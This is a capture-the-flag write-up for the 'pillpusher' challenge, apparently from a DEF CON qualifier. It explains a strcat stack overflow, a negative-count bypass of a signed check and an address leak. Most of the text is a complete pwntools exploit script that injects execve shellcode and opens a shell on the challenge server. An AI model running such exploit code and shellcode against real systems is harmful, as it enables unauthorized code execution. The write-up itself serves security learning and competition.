pillpusher

It is a huge binary and static so hard to reverse. Inside sub_407027, it calls sub_408da4 which is thought to be strcat(). Its 2nd argument is pill's name so if we put lots of characters when adding pill, its 1st argument which is a buffer from sub_4076e2 will be overflowed. buffer is at EBP-0x210 so we need at least 536 Bytes to control RIP. Pill's name is at most 256 Bytes so we need to trigger strcat() at least 3 times. It asks for how many pills to add and if the number exceeds 2, count is fixed to 2. However, the signed comparison is performed so any negative number will pass the check.



Plus, adding a pill with 256 Byte name and listing the pill will leak the address near structures, and luckily that region is both writable and executable so add another pill with its name containing shellcode.

Here's full exploit: (sorry for its untidiness)


from pwn import *
import sys
from time import sleep

context.log_level = 'debug'

shellcode = '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'

p = remote("pillpusher_a3b929dac1a7ca27fe5474bae0432262.quals.shallweplayaga.me",43868)
p.recvuntil("-> ")
p.sendline("2")
p.recvuntil("-> ")
p.sendline("1")
p.recvuntil("Pill Name: ")
p.sendline("A"*256)
p.recvuntil("Schedule: ")
p.sendline("")
p.recvuntil(": ")
p.sendline("0")
p.recvuntil(": ")
p.sendline("")
p.recvuntil(": ")
p.sendline("")
p.recvuntil(": ")
p.sendline("")
p.recvuntil("-> ")
p.sendline("3")
sleep(0.5)
data = p.recvuntil("-> ")
addr = u64(data[0x106:0x106+6]+"\x00\x00")
addr += 456+64+200

p.sendline("1")
p.recvuntil("Pill Name: ")
p.sendline("\x90"*200+shellcode)
p.recvuntil("Dosage: ")
p.sendline("0")
p.recvuntil("Schedule: ")
p.sendline("0")
p.recvuntil(": ")
p.sendline("")
p.recvuntil(": ")
p.sendline("")
p.recvuntil(": ")
p.sendline("")
p.recvuntil("-> ")

p.sendline("1")
p.recvuntil("Pill Name: ")
p.sendline("B"*244+"\x00")
p.recvuntil("Dosage: ")
p.sendline("0")
p.recvuntil("Schedule: ")
p.sendline("0")
p.recvuntil(": ")
p.sendline("1")
p.recvuntil(": ")
p.sendline("")
p.recvuntil(": ")
p.sendline("")
p.recvuntil(": ")
p.sendline("")
p.recvuntil("-> ")
pillname = "\x02"*(36)+ p64(addr)

p.sendline("1")
p.recvuntil("Pill Name: ")
p.sendline(pillname)
p.recvuntil("Dosage: ")
p.sendline("0")
p.recvuntil("Schedule: ")
p.sendline("0")
p.recvuntil(": ")
p.sendline("1")
p.recvuntil(": ")
p.sendline("")
p.recvuntil(": ")
p.sendline("")
p.recvuntil(": ")
p.sendline("")
p.recvuntil("-> ")

p.sendline("6")
p.recvuntil("-> ")

p.sendline("3")
p.recvuntil("-> ")
p.sendline("1")
p.recvuntil(": ")
p.sendline("p1")
p.recvuntil(": ")
p.sendline("2147483647")
p.recvuntil("-> ")
p.sendline("5")
p.recvuntil("-> ")

p.sendline("4")
p.recvuntil("-> ")
p.sendline("1")
p.recvuntil(": ")
p.sendline("pat1")
p.recvuntil(": ")
p.sendline("Y")
p.recvuntil(": ")
p.sendline("1")
p.recvuntil(": ")
p.sendline("")
p.recvuntil("-> ")
p.sendline("5")
p.recvuntil("-> ")

p.sendline("1")
p.recvuntil("-> ")
p.sendline("1")
p.recvuntil("? ")
p.sendline("P1")
p.recvuntil("Add pills. Blank line to quit.\n: ")
p.sendline(pillname)
sleep(0.5)
p.recvuntil(": ")
p.sendline("B"*244+"\x00")
sleep(0.5)
p.recvuntil(": ")
p.sendline("")
sleep(0.5)
p.recvuntil(": ")
p.sendline("p1")
p.recvuntil(": ")
p.sendline("")
p.recvuntil("-> ")
p.sendline("5")
p.recvuntil("-> ")

p.sendline("5")
p.recvuntil("-> ")
p.sendline("1")
p.recvuntil(": ")
p.sendline("P1")
p.recvuntil("-> ")
p.sendline("2")
p.recvuntil(": ")
p.sendline("1")
p.recvuntil("-> ")
p.sendline("3")
p.recvuntil(": ")
p.sendline("pat1")
p.recvuntil("-> ")
p.sendline("4")
p.recvuntil(": ")
p.sendline("-1")
for i in range(2):
	p.recvuntil("Add pill: ")
	p.sendline("B"*244+"\x00")
p.recvuntil("Add pill: ")
p.sendline(pillname)
p.recvuntil("Add pill: ")
p.sendline("")
p.interactive()


+ Recent posts